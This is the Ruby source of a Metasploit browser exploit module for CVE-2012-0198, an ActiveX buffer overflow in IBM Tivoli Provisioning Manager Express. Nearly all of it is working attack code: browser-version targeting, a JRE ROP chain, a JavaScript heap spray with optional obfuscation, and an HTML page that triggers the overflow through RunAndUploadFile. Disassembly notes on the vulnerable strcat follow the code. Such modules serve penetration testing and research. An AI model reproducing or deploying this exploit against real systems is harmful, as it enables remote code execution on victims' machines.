require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:os_name=> OperatingSystems::WINDOWS,
:ua_name=> HttpClients::IE,
:ua_minver=> "6.0",
:ua_maxver=> "8.0",
:javascript => true,
:rank => NormalRanking,
:classid=> "{84B74E82-3475-420E-9949-773B4FB91771}",
:vuln_test=> "RunAndUploadFile",
})
def initialize(info={})
super(update_info(info,
'Name' => "IBM Tivoli Provisioning Manager Express for Software Distribution Isig.isigCtl.1 ActiveX RunAndUploadFile() Method Overflow",
'Description'=> %q{
This module exploits a buffer overflow vulnerability in the
Isig.isigCtl.1 ActiveX installed with IBM Tivoli Provisioning
Manager Express for Software Distribution 4.1.1.
The vulnerability is found in the "RunAndUploadFile" method
where the "OtherFields" parameter with user controlled data
is used to build a "Content-Dispoition" header and attach
contents in a insecure way which allows to overflow a buffer
in the stack.
},
'License'=> MSF_LICENSE,
'Author' =>
[
'Andrea Micalizzi aka rgod',
'juan vazquez',
'sinn3r'
],
'References' =>
[
[ 'CVE', '2012-0198' ],
[ 'OSVDB', '79735' ],
[ 'BID', '52252' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-040/' ]
],
'Payload'=>
{
'Space' => 1000,
'BadChars'=> "\x00",
'DisableNops' => true
},
'DefaultOptions'=>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets'=>
[
[ 'Automatic', {} ],
[
'IE 6 on Windows XP SP3',
{
'Rop' => nil,
'Offset'=> 161,
'OffsetShell' => '0x800 - code.length',
'ebp' => 0x09090909,
'Ret' => 0x09090909
}
],
[
'IE 7 on Windows XP SP3',
{
'Rop' => nil,
'Offset'=> 161,
'OffsetShell' => '0x800 - code.length',
'ebp' => 0x09090909,
'Ret' => 0x09090909
}
],
[
'IE 8 on Windows XP SP3',
{
'Rop' => :jre,
'Offset'=> 161,
'OffsetShell' => '0x480',
'ebp' => 0x09090920,
'Ret' => 0x7c375a3d
}
]
],
'Privileged' => false,
'DisclosureDate' => "Mar 01 2012",
'DefaultTarget'=> 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
], self.class)
end
def get_target(agent)
return target if target.name != 'Automatic'
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
return targets[1]
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
return targets[2]
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
return targets[3]
else
return nil
end
end
def get_payload(t, cli)
if t['Rop'].nil?
code = ""
else
code = "\x81\xC4\x54\xF2\xFF\xFF"
end
code << payload.encoded
return code if t['Rop'].nil?
case t['Rop']
when :jre
print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Using JRE ROP")
exec_size = 0xffffffff - code.length + 1
rop =
[
0x7c37653d,
exec_size,
0x7c347f98,
0x7c3415a2,
0xffffffff,
0x7c376402,
0x7c351e05,
0x7c345255,
0x7c352174,
0x7c344f87,
0xffffffc0,
0x7c351eb1,
0x7c34d201,
0x7c38b001,
0x7c347f97,
0x7c37a151,
0x7c378c81,
0x7c345c30,
].pack("V*")
end
code = rop + code
return code
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
my_target = get_target(agent)
if my_target.nil?
print_error("#{cli.peerhost.ljust(16)} #{self.shortname} Browser not supported: #{agent.to_s}")
send_not_found(cli)
return
end
print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Client requesting: #{request.uri}")
p = get_payload(my_target, cli)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
js_nops = Rex::Text.to_unescape("\x90"*4, Rex::Arch.endian(my_target.arch))
js_spray = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0,
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=0; i < 0x1A0; i++) {
heap_obj.alloc(block);
}
JS
js_spray = heaplib(js_spray, {:noobfu => true})
if datastore['OBFUSCATE']
js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)
js_spray.obfuscate
end
bof = rand_text_alpha(my_target['Offset'])
bof << [my_target['ebp']].pack("V")
bof << [my_target.ret].pack("V")
html = <<-HTML
<html>
<head>
<script>
</script>
</head>
<object classid='clsid:84B74E82-3475-420E-9949-773B4FB91771' id='isig'></object>
<script>
var url = "http://#{Rex::Socket.source_address('1.2.3.4')}:#{datastore['SRVPORT']}/tpmx/uploadEG2.do";
var fields = "submit:#{bof};FROM_EMAIL:true;userKey:2";
var flags = "-level5";
msg = isig.RunAndUploadFile(url, fields, flags);
</script>
</html>
HTML
html = html.gsub(/^\t\t/, '')
print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Sending html")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end
=begin
* Vulnerability notes
The Dangerous strcat allows to attach user-controlled contents after
the Content-disposition header:
.text:100040B0 Src = byte ptr -100h
...
.text:100040DD push[ebp+Source]; Source => User controlled via "fields" param
.text:100040E0 lea eax, [ebp+Src]
.text:100040E6 pusheax ; Dest => Local variable where the Content-disposition header
; has been stored
.text:100040E7 call_strcat ; strcat used by this module to overflow
Function isn't protected with stack cookies so get
the control flow is easy by overwriting the saved EIP
on the stack.
=end